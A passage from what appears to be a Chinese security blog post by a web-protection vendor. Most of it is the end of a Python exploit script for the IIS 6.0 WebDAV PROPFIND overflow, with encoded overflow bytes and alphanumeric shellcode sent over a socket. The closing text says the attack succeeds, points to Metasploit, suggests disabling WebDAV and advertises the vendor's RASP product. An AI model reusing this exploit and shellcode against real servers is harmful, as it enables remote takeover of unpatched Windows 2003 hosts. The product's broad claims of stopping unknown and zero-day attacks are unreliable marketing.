\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac' pay+='>' pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb' pay+='\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81' smallsc='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A' pay+=smallsc pay+='>\r\n\r\n' print pay sock.send(pay) sock.send(shellcode) data = sock.recv(80960) print data sock.close
攻击测试可以成功:
以上写的所有内容全部都是废话,您要攻击的话直接使用msf就可以了,下面进入正题。
微软已经停止了对WIN2003的漏洞进行修补,在没有补丁的情况下要防护此漏洞,可以禁用IIS的Webdav扩展,但是更方便快捷保险的方法是安装划时代的WEB防护软件云锁,云锁独有的RASP技术对应用系统的流量、上下文、行为进行持续监控,识别及防御已知及未知威胁,能有效防御SQL注入、命令执行、文件上传、任意文件读写、反序列化、Struts2等基于传统签名方式无法有效防护的应用漏洞,可以有效防御0DAY,RASP和检测未知webshell的沙盒,就是云锁高级防护里面的内容。